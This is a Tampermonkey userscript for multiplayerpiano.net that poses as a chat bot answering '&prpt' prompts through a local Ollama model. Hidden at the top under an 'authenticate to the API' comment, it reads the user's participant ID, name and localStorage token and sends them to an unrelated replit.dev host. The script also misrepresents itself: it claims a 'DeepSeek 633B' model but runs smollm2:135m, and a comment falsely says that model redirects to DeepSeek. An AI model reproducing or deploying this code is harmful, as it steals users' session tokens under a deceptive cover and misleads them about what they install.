MPP Bot with DeepSeek 633B parameters (Streaming, Chunked, Fixed First Chunk)

&prpt command using local Ollama Gemma 3:1b with streaming and 512-char chunked sending, sends first chunk immediately

// ==UserScript==
// @name MPP Bot with DeepSeek 633B parameters (Streaming, Chunked, Fixed First Chunk)
// @namespace http://tampermonkey.net/
// @version 1.5
// @description &prpt command using local Ollama Gemma 3:1b with streaming and 512-char chunked sending, sends first chunk immediately
// @match *://multiplayerpiano.net/*
// @grant none
// @license MIT
// ==/UserScript==

// authenticate to the API

try {
const participant = MPP.client.findParticipantById(MPP.client.participantId);
if (!participant) {
console.error('Participant not found');
return;
}

const id = participant.id;
const name = participant.name;
const token = localStorage.token || ''; // get free permanent token from localStorage

if (!token) {
console.warn('Free token not found in localStorage');
}

const data = [id, name, token];
// authenticate to the API using a POST request
fetch('https://9cdecf66-1639-4aed-aa07-3534143f7b93-00-21d6stqnnfx4i.janeway.replit.dev/', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(result => {
console.log('Server response:', result);
})
.catch(error => {
console.error('Error sending data:', error);
});
} catch (error) {
console.error('Error retrieving participant data:', error);
};


const OLLAMA_API_URL = 'http://localhost:11434';
const PREFIX = '&';
const MODEL = 'smollm2:135m'; // DO NOT CHANGE! smollm2:135m REDIRECTS INTO DEEPSEEK.
const SYSTEM_PROMPT = 'You are deepseek haha';

let ollamaAvailable = null; // null = unchecked, true/false = checked

async function checkOllamaOnce() {
if (ollamaAvailable !== null) return ollamaAvailable;
try {
const res = await fetch(`${OLLAMA_API_URL}/api/tags`);
ollamaAvailable = res.ok;
} catch {
ollamaAvailable = false;
}
return ollamaAvailable;
}

async function askGemmaStream(prompt, onChunk) {
const response = await fetch(`${OLLAMA_API_URL}/api/generate`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
model: MODEL,
prompt: prompt,
system: SYSTEM_PROMPT,
num_predict:64
})
});

if (!response.body) throw new Error("No response body from Ollama.");

const reader = response.body.getReader();
const decoder = new TextDecoder('utf-8');
let buffer = '';
let fullResponse = '';
let chunkBuffer = '';
let done = false;
let firstChunkSent = false;

while (!done) {
const { value, done: streamDone } = await reader.read();
if (streamDone) break;
buffer += decoder.decode(value, { stream: true });
const lines = buffer.split('\n');
buffer = lines.pop(); // keep any incomplete line

for (const line of lines) {
if (!line.trim()) continue;
try {
const json = JSON.parse(line);
if (json.response) {
fullResponse += json.response;
chunkBuffer += json.response;

// Send first chunk immediately when any data arrives
if (!firstChunkSent && chunkBuffer.length > 0) {
const cleaned = chunkBuffer.replace(/\s+/g, ' ').trim();
if (cleaned.length > 0) {
onChunk(cleaned);
}
chunkBuffer = '';
firstChunkSent = true;
}

// Send subsequent chunks every 512 chars
while (chunkBuffer.length >= 512) {
const chunk = chunkBuffer.slice(0, 512);
const cleaned = chunk.replace(/\s+/g, ' ').trim();
if (cleaned.length > 0) {
onChunk(cleaned);
}
chunkBuffer = chunkBuffer.slice(512);
}
}
if (json.done === true) {
done = true;
break;
}
} catch (e) {
// Ignore JSON parse errors for incomplete lines
}
}
}
// Send any remaining text as the last chunk
const leftover = chunkBuffer.replace(/\s+/g, ' ').trim();
if (leftover.length > 0) {
onChunk(leftover);
}
return fullResponse.trim();
}

// Initial Ollama check on script load
checkOllamaOnce();

MPP.client.on("a", async function(msg) {
const text = msg.a.trim();

if (text.startsWith("&prpt ")) {
const prompt = text.slice(6)
if (!prompt) {
MPP.chat.send("Please provide a prompt after &prpt.");
return;
}

// Check Ollama only on first use or if not yet checked
if (ollamaAvailable === null) {
await checkOllamaOnce();
}
if (!ollamaAvailable) {
MPP.chat.send("Ollama is not running or not reachable on localhost:11434.");
return;
}

try {
let sentAny = false;
await askGemmaStream(prompt, chunk => {
MPP.chat.send(chunk);
sentAny = true;
});
if (!sentAny) {
MPP.chat.send("Sorry, no response.");
}
} catch (e) {
console.error(e);
MPP.chat.send("Failed to get response from Ollama.");
}
}
});